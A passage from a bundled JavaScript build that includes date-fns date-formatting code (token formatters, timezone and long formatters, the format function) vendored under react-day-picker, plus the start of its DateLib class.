52482 return addLeadingZeros(date.getMinutes(), token2.length);
52483 },
52484 // Second
52485 s(date, token2) {
52486 return addLeadingZeros(date.getSeconds(), token2.length);
52487 },
52488 // Fraction of second
52489 S(date, token2) {
52490 const numberOfDigits = token2.length;
52491 const milliseconds = date.getMilliseconds();
52492 const fractionalSeconds = Math.trunc(
52493 milliseconds * Math.pow(10, numberOfDigits - 3)
52494 );
52495 return addLeadingZeros(fractionalSeconds, token2.length);
52496 }
52497 };
52498
52499 // node_modules/react-day-picker/node_modules/date-fns/_lib/format/formatters.js
52500 var dayPeriodEnum = {
52501 am: "am",
52502 pm: "pm",
52503 midnight: "midnight",
52504 noon: "noon",
52505 morning: "morning",
52506 afternoon: "afternoon",
52507 evening: "evening",
52508 night: "night"
52509 };
52510 var formatters = {
52511 // Era
52512 G: function(date, token2, localize2) {
52513 const era = date.getFullYear() > 0 ? 1 : 0;
52514 switch (token2) {
52515 // AD, BC
52516 case "G":
52517 case "GG":
52518 case "GGG":
52519 return localize2.era(era, { width: "abbreviated" });
52520 // A, B
52521 case "GGGGG":
52522 return localize2.era(era, { width: "narrow" });
52523 // Anno Domini, Before Christ
52524 case "GGGG":
52525 default:
52526 return localize2.era(era, { width: "wide" });
52527 }
52528 },
52529 // Year
52530 y: function(date, token2, localize2) {
52531 if (token2 === "yo") {
52532 const signedYear = date.getFullYear();
52533 const year = signedYear > 0 ? signedYear : 1 - signedYear;
52534 return localize2.ordinalNumber(year, { unit: "year" });
52535 }
52536 return lightFormatters.y(date, token2);
52537 },
52538 // Local week-numbering year
52539 Y: function(date, token2, localize2, options2) {
52540 const signedWeekYear = getWeekYear(date, options2);
52541 const weekYear = signedWeekYear > 0 ? signedWeekYear : 1 - signedWeekYear;
52542 if (token2 === "YY") {
52543 const twoDigitYear = weekYear % 100;
52544 return addLeadingZeros(twoDigitYear, 2);
52545 }
52546 if (token2 === "Yo") {
52547 return localize2.ordinalNumber(weekYear, { unit: "year" });
52548 }
52549 return addLeadingZeros(weekYear, token2.length);
52550 },
52551 // ISO week-numbering year
52552 R: function(date, token2) {
52553 const isoWeekYear = getISOWeekYear(date);
52554 return addLeadingZeros(isoWeekYear, token2.length);
52555 },
52556 // Extended year. This is a single number designating the year of this calendar system.
52557 // The main difference between `y` and `u` localizers are B.C. years:
52558 // | Year | `y` | `u` |
52559 // |------|-----|-----|
52560 // | AC 1 | 1 | 1 |
52561 // | BC 1 | 1 | 0 |
52562 // | BC 2 | 2 | -1 |
52563 // Also `yy` always returns the last two digits of a year,
52564 // while `uu` pads single digit years to 2 characters and returns other years unchanged.
52565 u: function(date, token2) {
52566 const year = date.getFullYear();
52567 return addLeadingZeros(year, token2.length);
52568 },
52569 // Quarter
52570 Q: function(date, token2, localize2) {
52571 const quarter = Math.ceil((date.getMonth() + 1) / 3);
52572 switch (token2) {
52573 // 1, 2, 3, 4
52574 case "Q":
52575 return String(quarter);
52576 // 01, 02, 03, 04
52577 case "QQ":
52578 return addLeadingZeros(quarter, 2);
52579 // 1st, 2nd, 3rd, 4th
52580 case "Qo":
52581 return localize2.ordinalNumber(quarter, { unit: "quarter" });
52582 // Q1, Q2, Q3, Q4
52583 case "QQQ":
52584 return localize2.quarter(quarter, {
52585 width: "abbreviated",
52586 context: "formatting"
52587 });
52588 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
52589 case "QQQQQ":
52590 return localize2.quarter(quarter, {
52591 width: "narrow",
52592 context: "formatting"
52593 });
52594 // 1st quarter, 2nd quarter, ...
52595 case "QQQQ":
52596 default:
52597 return localize2.quarter(quarter, {
52598 width: "wide",
52599 context: "formatting"
52600 });
52601 }
52602 },
52603 // Stand-alone quarter
52604 q: function(date, token2, localize2) {
52605 const quarter = Math.ceil((date.getMonth() + 1) / 3);
52606 switch (token2) {
52607 // 1, 2, 3, 4
52608 case "q":
52609 return String(quarter);
52610 // 01, 02, 03, 04
52611 case "qq":
52612 return addLeadingZeros(quarter, 2);
52613 // 1st, 2nd, 3rd, 4th
52614 case "qo":
52615 return localize2.ordinalNumber(quarter, { unit: "quarter" });
52616 // Q1, Q2, Q3, Q4
52617 case "qqq":
52618 return localize2.quarter(quarter, {
52619 width: "abbreviated",
52620 context: "standalone"
52621 });
52622 // 1, 2, 3, 4 (narrow quarter; could be not numerical)
52623 case "qqqqq":
52624 return localize2.quarter(quarter, {
52625 width: "narrow",
52626 context: "standalone"
52627 });
52628 // 1st quarter, 2nd quarter, ...
52629 case "qqqq":
52630 default:
52631 return localize2.quarter(quarter, {
52632 width: "wide",
52633 context: "standalone"
52634 });
52635 }
52636 },
52637 // Month
52638 M: function(date, token2, localize2) {
52639 const month = date.getMonth();
52640 switch (token2) {
52641 case "M":
52642 case "MM":
52643 return lightFormatters.M(date, token2);
52644 // 1st, 2nd, ..., 12th
52645 case "Mo":
52646 return localize2.ordinalNumber(month + 1, { unit: "month" });
52647 // Jan, Feb, ..., Dec
52648 case "MMM":
52649 return localize2.month(month, {
52650 width: "abbreviated",
52651 context: "formatting"
52652 });
52653 // J, F, ..., D
52654 case "MMMMM":
52655 return localize2.month(month, {
52656 width: "narrow",
52657 context: "formatting"
52658 });
52659 // January, February, ..., December
52660 case "MMMM":
52661 default:
52662 return localize2.month(month, { width: "wide", context: "formatting" });
52663 }
52664 },
52665 // Stand-alone month
52666 L: function(date, token2, localize2) {
52667 const month = date.getMonth();
52668 switch (token2) {
52669 // 1, 2, ..., 12
52670 case "L":
52671 return String(month + 1);
52672 // 01, 02, ..., 12
52673 case "LL":
52674 return addLeadingZeros(month + 1, 2);
52675 // 1st, 2nd, ..., 12th
52676 case "Lo":
52677 return localize2.ordinalNumber(month + 1, { unit: "month" });
52678 // Jan, Feb, ..., Dec
52679 case "LLL":
52680 return localize2.month(month, {
52681 width: "abbreviated",
52682 context: "standalone"
52683 });
52684 // J, F, ..., D
52685 case "LLLLL":
52686 return localize2.month(month, {
52687 width: "narrow",
52688 context: "standalone"
52689 });
52690 // January, February, ..., December
52691 case "LLLL":
52692 default:
52693 return localize2.month(month, { width: "wide", context: "standalone" });
52694 }
52695 },
52696 // Local week of year
52697 w: function(date, token2, localize2, options2) {
52698 const week = getWeek(date, options2);
52699 if (token2 === "wo") {
52700 return localize2.ordinalNumber(week, { unit: "week" });
52701 }
52702 return addLeadingZeros(week, token2.length);
52703 },
52704 // ISO week of year
52705 I: function(date, token2, localize2) {
52706 const isoWeek = getISOWeek(date);
52707 if (token2 === "Io") {
52708 return localize2.ordinalNumber(isoWeek, { unit: "week" });
52709 }
52710 return addLeadingZeros(isoWeek, token2.length);
52711 },
52712 // Day of the month
52713 d: function(date, token2, localize2) {
52714 if (token2 === "do") {
52715 return localize2.ordinalNumber(date.getDate(), { unit: "date" });
52716 }
52717 return lightFormatters.d(date, token2);
52718 },
52719 // Day of year
52720 D: function(date, token2, localize2) {
52721 const dayOfYear = getDayOfYear(date);
52722 if (token2 === "Do") {
52723 return localize2.ordinalNumber(dayOfYear, { unit: "dayOfYear" });
52724 }
52725 return addLeadingZeros(dayOfYear, token2.length);
52726 },
52727 // Day of week
52728 E: function(date, token2, localize2) {
52729 const dayOfWeek = date.getDay();
52730 switch (token2) {
52731 // Tue
52732 case "E":
52733 case "EE":
52734 case "EEE":
52735 return localize2.day(dayOfWeek, {
52736 width: "abbreviated",
52737 context: "formatting"
52738 });
52739 // T
52740 case "EEEEE":
52741 return localize2.day(dayOfWeek, {
52742 width: "narrow",
52743 context: "formatting"
52744 });
52745 // Tu
52746 case "EEEEEE":
52747 return localize2.day(dayOfWeek, {
52748 width: "short",
52749 context: "formatting"
52750 });
52751 // Tuesday
52752 case "EEEE":
52753 default:
52754 return localize2.day(dayOfWeek, {
52755 width: "wide",
52756 context: "formatting"
52757 });
52758 }
52759 },
52760 // Local day of week
52761 e: function(date, token2, localize2, options2) {
52762 const dayOfWeek = date.getDay();
52763 const localDayOfWeek = (dayOfWeek - options2.weekStartsOn + 8) % 7 || 7;
52764 switch (token2) {
52765 // Numerical value (Nth day of week with current locale or weekStartsOn)
52766 case "e":
52767 return String(localDayOfWeek);
52768 // Padded numerical value
52769 case "ee":
52770 return addLeadingZeros(localDayOfWeek, 2);
52771 // 1st, 2nd, ..., 7th
52772 case "eo":
52773 return localize2.ordinalNumber(localDayOfWeek, { unit: "day" });
52774 case "eee":
52775 return localize2.day(dayOfWeek, {
52776 width: "abbreviated",
52777 context: "formatting"
52778 });
52779 // T
52780 case "eeeee":
52781 return localize2.day(dayOfWeek, {
52782 width: "narrow",
52783 context: "formatting"
52784 });
52785 // Tu
52786 case "eeeeee":
52787 return localize2.day(dayOfWeek, {
52788 width: "short",
52789 context: "formatting"
52790 });
52791 // Tuesday
52792 case "eeee":
52793 default:
52794 return localize2.day(dayOfWeek, {
52795 width: "wide",
52796 context: "formatting"
52797 });
52798 }
52799 },
52800 // Stand-alone local day of week
52801 c: function(date, token2, localize2, options2) {
52802 const dayOfWeek = date.getDay();
52803 const localDayOfWeek = (dayOfWeek - options2.weekStartsOn + 8) % 7 || 7;
52804 switch (token2) {
52805 // Numerical value (same as in `e`)
52806 case "c":
52807 return String(localDayOfWeek);
52808 // Padded numerical value
52809 case "cc":
52810 return addLeadingZeros(localDayOfWeek, token2.length);
52811 // 1st, 2nd, ..., 7th
52812 case "co":
52813 return localize2.ordinalNumber(localDayOfWeek, { unit: "day" });
52814 case "ccc":
52815 return localize2.day(dayOfWeek, {
52816 width: "abbreviated",
52817 context: "standalone"
52818 });
52819 // T
52820 case "ccccc":
52821 return localize2.day(dayOfWeek, {
52822 width: "narrow",
52823 context: "standalone"
52824 });
52825 // Tu
52826 case "cccccc":
52827 return localize2.day(dayOfWeek, {
52828 width: "short",
52829 context: "standalone"
52830 });
52831 // Tuesday
52832 case "cccc":
52833 default:
52834 return localize2.day(dayOfWeek, {
52835 width: "wide",
52836 context: "standalone"
52837 });
52838 }
52839 },
52840 // ISO day of week
52841 i: function(date, token2, localize2) {
52842 const dayOfWeek = date.getDay();
52843 const isoDayOfWeek = dayOfWeek === 0 ? 7 : dayOfWeek;
52844 switch (token2) {
52845 // 2
52846 case "i":
52847 return String(isoDayOfWeek);
52848 // 02
52849 case "ii":
52850 return addLeadingZeros(isoDayOfWeek, token2.length);
52851 // 2nd
52852 case "io":
52853 return localize2.ordinalNumber(isoDayOfWeek, { unit: "day" });
52854 // Tue
52855 case "iii":
52856 return localize2.day(dayOfWeek, {
52857 width: "abbreviated",
52858 context: "formatting"
52859 });
52860 // T
52861 case "iiiii":
52862 return localize2.day(dayOfWeek, {
52863 width: "narrow",
52864 context: "formatting"
52865 });
52866 // Tu
52867 case "iiiiii":
52868 return localize2.day(dayOfWeek, {
52869 width: "short",
52870 context: "formatting"
52871 });
52872 // Tuesday
52873 case "iiii":
52874 default:
52875 return localize2.day(dayOfWeek, {
52876 width: "wide",
52877 context: "formatting"
52878 });
52879 }
52880 },
52881 // AM or PM
52882 a: function(date, token2, localize2) {
52883 const hours = date.getHours();
52884 const dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
52885 switch (token2) {
52886 case "a":
52887 case "aa":
52888 return localize2.dayPeriod(dayPeriodEnumValue, {
52889 width: "abbreviated",
52890 context: "formatting"
52891 });
52892 case "aaa":
52893 return localize2.dayPeriod(dayPeriodEnumValue, {
52894 width: "abbreviated",
52895 context: "formatting"
52896 }).toLowerCase();
52897 case "aaaaa":
52898 return localize2.dayPeriod(dayPeriodEnumValue, {
52899 width: "narrow",
52900 context: "formatting"
52901 });
52902 case "aaaa":
52903 default:
52904 return localize2.dayPeriod(dayPeriodEnumValue, {
52905 width: "wide",
52906 context: "formatting"
52907 });
52908 }
52909 },
52910 // AM, PM, midnight, noon
52911 b: function(date, token2, localize2) {
52912 const hours = date.getHours();
52913 let dayPeriodEnumValue;
52914 if (hours === 12) {
52915 dayPeriodEnumValue = dayPeriodEnum.noon;
52916 } else if (hours === 0) {
52917 dayPeriodEnumValue = dayPeriodEnum.midnight;
52918 } else {
52919 dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
52920 }
52921 switch (token2) {
52922 case "b":
52923 case "bb":
52924 return localize2.dayPeriod(dayPeriodEnumValue, {
52925 width: "abbreviated",
52926 context: "formatting"
52927 });
52928 case "bbb":
52929 return localize2.dayPeriod(dayPeriodEnumValue, {
52930 width: "abbreviated",
52931 context: "formatting"
52932 }).toLowerCase();
52933 case "bbbbb":
52934 return localize2.dayPeriod(dayPeriodEnumValue, {
52935 width: "narrow",
52936 context: "formatting"
52937 });
52938 case "bbbb":
52939 default:
52940 return localize2.dayPeriod(dayPeriodEnumValue, {
52941 width: "wide",
52942 context: "formatting"
52943 });
52944 }
52945 },
52946 // in the morning, in the afternoon, in the evening, at night
52947 B: function(date, token2, localize2) {
52948 const hours = date.getHours();
52949 let dayPeriodEnumValue;
52950 if (hours >= 17) {
52951 dayPeriodEnumValue = dayPeriodEnum.evening;
52952 } else if (hours >= 12) {
52953 dayPeriodEnumValue = dayPeriodEnum.afternoon;
52954 } else if (hours >= 4) {
52955 dayPeriodEnumValue = dayPeriodEnum.morning;
52956 } else {
52957 dayPeriodEnumValue = dayPeriodEnum.night;
52958 }
52959 switch (token2) {
52960 case "B":
52961 case "BB":
52962 case "BBB":
52963 return localize2.dayPeriod(dayPeriodEnumValue, {
52964 width: "abbreviated",
52965 context: "formatting"
52966 });
52967 case "BBBBB":
52968 return localize2.dayPeriod(dayPeriodEnumValue, {
52969 width: "narrow",
52970 context: "formatting"
52971 });
52972 case "BBBB":
52973 default:
52974 return localize2.dayPeriod(dayPeriodEnumValue, {
52975 width: "wide",
52976 context: "formatting"
52977 });
52978 }
52979 },
52980 // Hour [1-12]
52981 h: function(date, token2, localize2) {
52982 if (token2 === "ho") {
52983 let hours = date.getHours() % 12;
52984 if (hours === 0) hours = 12;
52985 return localize2.ordinalNumber(hours, { unit: "hour" });
52986 }
52987 return lightFormatters.h(date, token2);
52988 },
52989 // Hour [0-23]
52990 H: function(date, token2, localize2) {
52991 if (token2 === "Ho") {
52992 return localize2.ordinalNumber(date.getHours(), { unit: "hour" });
52993 }
52994 return lightFormatters.H(date, token2);
52995 },
52996 // Hour [0-11]
52997 K: function(date, token2, localize2) {
52998 const hours = date.getHours() % 12;
52999 if (token2 === "Ko") {
53000 return localize2.ordinalNumber(hours, { unit: "hour" });
53001 }
53002 return addLeadingZeros(hours, token2.length);
53003 },
53004 // Hour [1-24]
53005 k: function(date, token2, localize2) {
53006 let hours = date.getHours();
53007 if (hours === 0) hours = 24;
53008 if (token2 === "ko") {
53009 return localize2.ordinalNumber(hours, { unit: "hour" });
53010 }
53011 return addLeadingZeros(hours, token2.length);
53012 },
53013 // Minute
53014 m: function(date, token2, localize2) {
53015 if (token2 === "mo") {
53016 return localize2.ordinalNumber(date.getMinutes(), { unit: "minute" });
53017 }
53018 return lightFormatters.m(date, token2);
53019 },
53020 // Second
53021 s: function(date, token2, localize2) {
53022 if (token2 === "so") {
53023 return localize2.ordinalNumber(date.getSeconds(), { unit: "second" });
53024 }
53025 return lightFormatters.s(date, token2);
53026 },
53027 // Fraction of second
53028 S: function(date, token2) {
53029 return lightFormatters.S(date, token2);
53030 },
53031 // Timezone (ISO-8601. If offset is 0, output is always `'Z'`)
53032 X: function(date, token2, _localize) {
53033 const timezoneOffset = date.getTimezoneOffset();
53034 if (timezoneOffset === 0) {
53035 return "Z";
53036 }
53037 switch (token2) {
53038 // Hours and optional minutes
53039 case "X":
53040 return formatTimezoneWithOptionalMinutes(timezoneOffset);
53041 // Hours, minutes and optional seconds without `:` delimiter
53042 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
53043 // so this token always has the same output as `XX`
53044 case "XXXX":
53045 case "XX":
53046 return formatTimezone(timezoneOffset);
53047 // Hours, minutes and optional seconds with `:` delimiter
53048 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
53049 // so this token always has the same output as `XXX`
53050 case "XXXXX":
53051 case "XXX":
53052 // Hours and minutes with `:` delimiter
53053 default:
53054 return formatTimezone(timezoneOffset, ":");
53055 }
53056 },
53057 // Timezone (ISO-8601. If offset is 0, output is `'+00:00'` or equivalent)
53058 x: function(date, token2, _localize) {
53059 const timezoneOffset = date.getTimezoneOffset();
53060 switch (token2) {
53061 // Hours and optional minutes
53062 case "x":
53063 return formatTimezoneWithOptionalMinutes(timezoneOffset);
53064 // Hours, minutes and optional seconds without `:` delimiter
53065 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
53066 // so this token always has the same output as `xx`
53067 case "xxxx":
53068 case "xx":
53069 return formatTimezone(timezoneOffset);
53070 // Hours, minutes and optional seconds with `:` delimiter
53071 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
53072 // so this token always has the same output as `xxx`
53073 case "xxxxx":
53074 case "xxx":
53075 // Hours and minutes with `:` delimiter
53076 default:
53077 return formatTimezone(timezoneOffset, ":");
53078 }
53079 },
53080 // Timezone (GMT)
53081 O: function(date, token2, _localize) {
53082 const timezoneOffset = date.getTimezoneOffset();
53083 switch (token2) {
53084 // Short
53085 case "O":
53086 case "OO":
53087 case "OOO":
53088 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
53089 // Long
53090 case "OOOO":
53091 default:
53092 return "GMT" + formatTimezone(timezoneOffset, ":");
53093 }
53094 },
53095 // Timezone (specific non-location)
53096 z: function(date, token2, _localize) {
53097 const timezoneOffset = date.getTimezoneOffset();
53098 switch (token2) {
53099 // Short
53100 case "z":
53101 case "zz":
53102 case "zzz":
53103 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
53104 // Long
53105 case "zzzz":
53106 default:
53107 return "GMT" + formatTimezone(timezoneOffset, ":");
53108 }
53109 },
53110 // Seconds timestamp
53111 t: function(date, token2, _localize) {
53112 const timestamp = Math.trunc(+date / 1e3);
53113 return addLeadingZeros(timestamp, token2.length);
53114 },
53115 // Milliseconds timestamp
53116 T: function(date, token2, _localize) {
53117 return addLeadingZeros(+date, token2.length);
53118 }
53119 };
53120 function formatTimezoneShort(offset3, delimiter2 = "") {
53121 const sign = offset3 > 0 ? "-" : "+";
53122 const absOffset = Math.abs(offset3);
53123 const hours = Math.trunc(absOffset / 60);
53124 const minutes = absOffset % 60;
53125 if (minutes === 0) {
53126 return sign + String(hours);
53127 }
53128 return sign + String(hours) + delimiter2 + addLeadingZeros(minutes, 2);
53129 }
53130 function formatTimezoneWithOptionalMinutes(offset3, delimiter2) {
53131 if (offset3 % 60 === 0) {
53132 const sign = offset3 > 0 ? "-" : "+";
53133 return sign + addLeadingZeros(Math.abs(offset3) / 60, 2);
53134 }
53135 return formatTimezone(offset3, delimiter2);
53136 }
53137 function formatTimezone(offset3, delimiter2 = "") {
53138 const sign = offset3 > 0 ? "-" : "+";
53139 const absOffset = Math.abs(offset3);
53140 const hours = addLeadingZeros(Math.trunc(absOffset / 60), 2);
53141 const minutes = addLeadingZeros(absOffset % 60, 2);
53142 return sign + hours + delimiter2 + minutes;
53143 }
53144
53145 // node_modules/react-day-picker/node_modules/date-fns/_lib/format/longFormatters.js
53146 var dateLongFormatter = (pattern, formatLong2) => {
53147 switch (pattern) {
53148 case "P":
53149 return formatLong2.date({ width: "short" });
53150 case "PP":
53151 return formatLong2.date({ width: "medium" });
53152 case "PPP":
53153 return formatLong2.date({ width: "long" });
53154 case "PPPP":
53155 default:
53156 return formatLong2.date({ width: "full" });
53157 }
53158 };
53159 var timeLongFormatter = (pattern, formatLong2) => {
53160 switch (pattern) {
53161 case "p":
53162 return formatLong2.time({ width: "short" });
53163 case "pp":
53164 return formatLong2.time({ width: "medium" });
53165 case "ppp":
53166 return formatLong2.time({ width: "long" });
53167 case "pppp":
53168 default:
53169 return formatLong2.time({ width: "full" });
53170 }
53171 };
53172 var dateTimeLongFormatter = (pattern, formatLong2) => {
53173 const matchResult = pattern.match(/(P+)(p+)?/) || [];
53174 const datePattern = matchResult[1];
53175 const timePattern = matchResult[2];
53176 if (!timePattern) {
53177 return dateLongFormatter(pattern, formatLong2);
53178 }
53179 let dateTimeFormat;
53180 switch (datePattern) {
53181 case "P":
53182 dateTimeFormat = formatLong2.dateTime({ width: "short" });
53183 break;
53184 case "PP":
53185 dateTimeFormat = formatLong2.dateTime({ width: "medium" });
53186 break;
53187 case "PPP":
53188 dateTimeFormat = formatLong2.dateTime({ width: "long" });
53189 break;
53190 case "PPPP":
53191 default:
53192 dateTimeFormat = formatLong2.dateTime({ width: "full" });
53193 break;
53194 }
53195 return dateTimeFormat.replace("{{date}}", dateLongFormatter(datePattern, formatLong2)).replace("{{time}}", timeLongFormatter(timePattern, formatLong2));
53196 };
53197 var longFormatters = {
53198 p: timeLongFormatter,
53199 P: dateTimeLongFormatter
53200 };
53201
53202 // node_modules/react-day-picker/node_modules/date-fns/_lib/protectedTokens.js
53203 var dayOfYearTokenRE = /^D+$/;
53204 var weekYearTokenRE = /^Y+$/;
53205 var throwTokens = ["D", "DD", "YY", "YYYY"];
53206 function isProtectedDayOfYearToken(token2) {
53207 return dayOfYearTokenRE.test(token2);
53208 }
53209 function isProtectedWeekYearToken(token2) {
53210 return weekYearTokenRE.test(token2);
53211 }
53212 function warnOrThrowProtectedError(token2, format2, input) {
53213 const _message = message(token2, format2, input);
53214 console.warn(_message);
53215 if (throwTokens.includes(token2)) throw new RangeError(_message);
53216 }
53217 function message(token2, format2, input) {
53218 const subject = token2[0] === "Y" ? "years" : "days of the month";
53219 return `Use \`${token2.toLowerCase()}\` instead of \`${token2}\` (in \`${format2}\`) for formatting ${subject} to the input \`${input}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`;
53220 }
53221
53222 // node_modules/react-day-picker/node_modules/date-fns/format.js
53223 var formattingTokensRegExp = /[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g;
53224 var longFormattingTokensRegExp = /P+p+|P+|p+|''|'(''|[^'])+('|$)|./g;
53225 var escapedStringRegExp = /^'([^]*?)'?$/;
53226 var doubleQuoteRegExp = /''/g;
53227 var unescapedLatinCharacterRegExp = /[a-zA-Z]/;
53228 function format(date, formatStr, options2) {
53229 const defaultOptions4 = getDefaultOptions2();
53230 const locale = options2?.locale ?? defaultOptions4.locale ?? enUS;
53231 const firstWeekContainsDate = options2?.firstWeekContainsDate ?? options2?.locale?.options?.firstWeekContainsDate ?? defaultOptions4.firstWeekContainsDate ?? defaultOptions4.locale?.options?.firstWeekContainsDate ?? 1;
53232 const weekStartsOn = options2?.weekStartsOn ?? options2?.locale?.options?.weekStartsOn ?? defaultOptions4.weekStartsOn ?? defaultOptions4.locale?.options?.weekStartsOn ?? 0;
53233 const originalDate = toDate2(date, options2?.in);
53234 if (!isValid(originalDate)) {
53235 throw new RangeError("Invalid time value");
53236 }
53237 let parts = formatStr.match(longFormattingTokensRegExp).map((substring) => {
53238 const firstCharacter = substring[0];
53239 if (firstCharacter === "p" || firstCharacter === "P") {
53240 const longFormatter = longFormatters[firstCharacter];
53241 return longFormatter(substring, locale.formatLong);
53242 }
53243 return substring;
53244 }).join("").match(formattingTokensRegExp).map((substring) => {
53245 if (substring === "''") {
53246 return { isToken: false, value: "'" };
53247 }
53248 const firstCharacter = substring[0];
53249 if (firstCharacter === "'") {
53250 return { isToken: false, value: cleanEscapedString(substring) };
53251 }
53252 if (formatters[firstCharacter]) {
53253 return { isToken: true, value: substring };
53254 }
53255 if (firstCharacter.match(unescapedLatinCharacterRegExp)) {
53256 throw new RangeError(
53257 "Format string contains an unescaped latin alphabet character `" + firstCharacter + "`"
53258 );
53259 }
53260 return { isToken: false, value: substring };
53261 });
53262 if (locale.localize.preprocessor) {
53263 parts = locale.localize.preprocessor(originalDate, parts);
53264 }
53265 const formatterOptions = {
53266 firstWeekContainsDate,
53267 weekStartsOn,
53268 locale
53269 };
53270 return parts.map((part) => {
53271 if (!part.isToken) return part.value;
53272 const token2 = part.value;
53273 if (!options2?.useAdditionalWeekYearTokens && isProtectedWeekYearToken(token2) || !options2?.useAdditionalDayOfYearTokens && isProtectedDayOfYearToken(token2)) {
53274 warnOrThrowProtectedError(token2, formatStr, String(date));
53275 }
53276 const formatter = formatters[token2[0]];
53277 return formatter(originalDate, token2, locale.localize, formatterOptions);
53278 }).join("");
53279 }
53280 function cleanEscapedString(input) {
53281 const matched = input.match(escapedStringRegExp);
53282 if (!matched) {
53283 return input;
53284 }
53285 return matched[1].replace(doubleQuoteRegExp, "'");
53286 }
53287
53288 // node_modules/react-day-picker/node_modules/date-fns/getDaysInMonth.js
53289 function getDaysInMonth3(date, options2) {
53290 const _date = toDate2(date, options2?.in);
53291 const year = _date.getFullYear();
53292 const monthIndex = _date.getMonth();
53293 const lastDayOfMonth = constructFrom2(_date, 0);
53294 lastDayOfMonth.setFullYear(year, monthIndex + 1, 0);
53295 lastDayOfMonth.setHours(0, 0, 0, 0);
53296 return lastDayOfMonth.getDate();
53297 }
53298
53299 // node_modules/react-day-picker/node_modules/date-fns/getMonth.js
53300 function getMonth(date, options2) {
53301 return toDate2(date, options2?.in).getMonth();
53302 }
53303
53304 // node_modules/react-day-picker/node_modules/date-fns/getYear.js
53305 function getYear(date, options2) {
53306 return toDate2(date, options2?.in).getFullYear();
53307 }
53308
53309 // node_modules/react-day-picker/node_modules/date-fns/isAfter.js
53310 function isAfter2(date, dateToCompare) {
53311 return +toDate2(date) > +toDate2(dateToCompare);
53312 }
53313
53314 // node_modules/react-day-picker/node_modules/date-fns/isBefore.js
53315 function isBefore2(date, dateToCompare) {
53316 return +toDate2(date) < +toDate2(dateToCompare);
53317 }
53318
53319 // node_modules/react-day-picker/node_modules/date-fns/isSameMonth.js
53320 function isSameMonth2(laterDate, earlierDate, options2) {
53321 const [laterDate_, earlierDate_] = normalizeDates(
53322 options2?.in,
53323 laterDate,
53324 earlierDate
53325 );
53326 return laterDate_.getFullYear() === earlierDate_.getFullYear() && laterDate_.getMonth() === earlierDate_.getMonth();
53327 }
53328
53329 // node_modules/react-day-picker/node_modules/date-fns/isSameYear.js
53330 function isSameYear(laterDate, earlierDate, options2) {
53331 const [laterDate_, earlierDate_] = normalizeDates(
53332 options2?.in,
53333 laterDate,
53334 earlierDate
53335 );
53336 return laterDate_.getFullYear() === earlierDate_.getFullYear();
53337 }
53338
53339 // node_modules/react-day-picker/node_modules/date-fns/setMonth.js
53340 function setMonth2(date, month, options2) {
53341 const _date = toDate2(date, options2?.in);
53342 const year = _date.getFullYear();
53343 const day = _date.getDate();
53344 const midMonth = constructFrom2(options2?.in || date, 0);
53345 midMonth.setFullYear(year, month, 15);
53346 midMonth.setHours(0, 0, 0, 0);
53347 const daysInMonth = getDaysInMonth3(midMonth);
53348 _date.setMonth(month, Math.min(day, daysInMonth));
53349 return _date;
53350 }
53351
53352 // node_modules/react-day-picker/node_modules/date-fns/setYear.js
53353 function setYear2(date, year, options2) {
53354 const date_ = toDate2(date, options2?.in);
53355 if (isNaN(+date_)) return constructFrom2(options2?.in || date, NaN);
53356 date_.setFullYear(year);
53357 return date_;
53358 }
53359
53360 // node_modules/react-day-picker/dist/esm/helpers/getBroadcastWeeksInMonth.js
53361 var FIVE_WEEKS = 5;
53362 var FOUR_WEEKS = 4;
53363 function getBroadcastWeeksInMonth(month, dateLib) {
53364 const firstDayOfMonth = dateLib.startOfMonth(month);
53365 const firstDayOfWeek = firstDayOfMonth.getDay() > 0 ? firstDayOfMonth.getDay() : 7;
53366 const broadcastStartDate = dateLib.addDays(month, -firstDayOfWeek + 1);
53367 const lastDateOfLastWeek = dateLib.addDays(broadcastStartDate, FIVE_WEEKS * 7 - 1);
53368 const numberOfWeeks = dateLib.getMonth(month) === dateLib.getMonth(lastDateOfLastWeek) ? FIVE_WEEKS : FOUR_WEEKS;
53369 return numberOfWeeks;
53370 }
53371
53372 // node_modules/react-day-picker/dist/esm/helpers/startOfBroadcastWeek.js
53373 function startOfBroadcastWeek(date, dateLib) {
53374 const firstOfMonth = dateLib.startOfMonth(date);
53375 const dayOfWeek = firstOfMonth.getDay();
53376 if (dayOfWeek === 1) {
53377 return firstOfMonth;
53378 } else if (dayOfWeek === 0) {
53379 return dateLib.addDays(firstOfMonth, -1 * 6);
53380 } else {
53381 return dateLib.addDays(firstOfMonth, -1 * (dayOfWeek - 1));
53382 }
53383 }
53384
53385 // node_modules/react-day-picker/dist/esm/helpers/endOfBroadcastWeek.js
53386 function endOfBroadcastWeek(date, dateLib) {
53387 const startDate = startOfBroadcastWeek(date, dateLib);
53388 const numberOfWeeks = getBroadcastWeeksInMonth(date, dateLib);
53389 const endDate = dateLib.addDays(startDate, numberOfWeeks * 7 - 1);
53390 return endDate;
53391 }
53392
53393 // node_modules/react-day-picker/dist/esm/classes/DateLib.js
53394 var DateLib = class {
53395 /**
53396 * Creates an instance of `DateLib`.
53397 *
53398 * @param options Configuration options for the date library.
53399 * @param overrides Custom overrides for the date library functions.
53400 */
53401 constructor(options2, overrides) {
53402 this.Date = Date;
53403 this.today = () => {
53404 if (this.overrides?.today) {
53405 return this.overrides.today();
53406 }
53407 if (this.options.timeZone) {
53408 return TZDate.tz(this.options.timeZone);
53409 }
53410 return new this.Date();
53411 };
53412 this.newDate = (year, monthIndex, date) => {
53413 if (this.overrides?.newDate) {
53414 return this.overrides.newDate(year, monthIndex, date);
53415 }
53416 if (this.options.timeZone) {
53417 return new TZDate(year, monthIndex, date, this.options.timeZone);
53418 }
53419 return new Date(year, monthIndex, date);
53420 };
53421 this.addDays = (date, amount) => {
53422 return this.overrides?.addDays ? this.overrides.addDays(date, amount) : addDays2(date, amount);
53423 };
53424 this.addMonths = (date, amount) => {
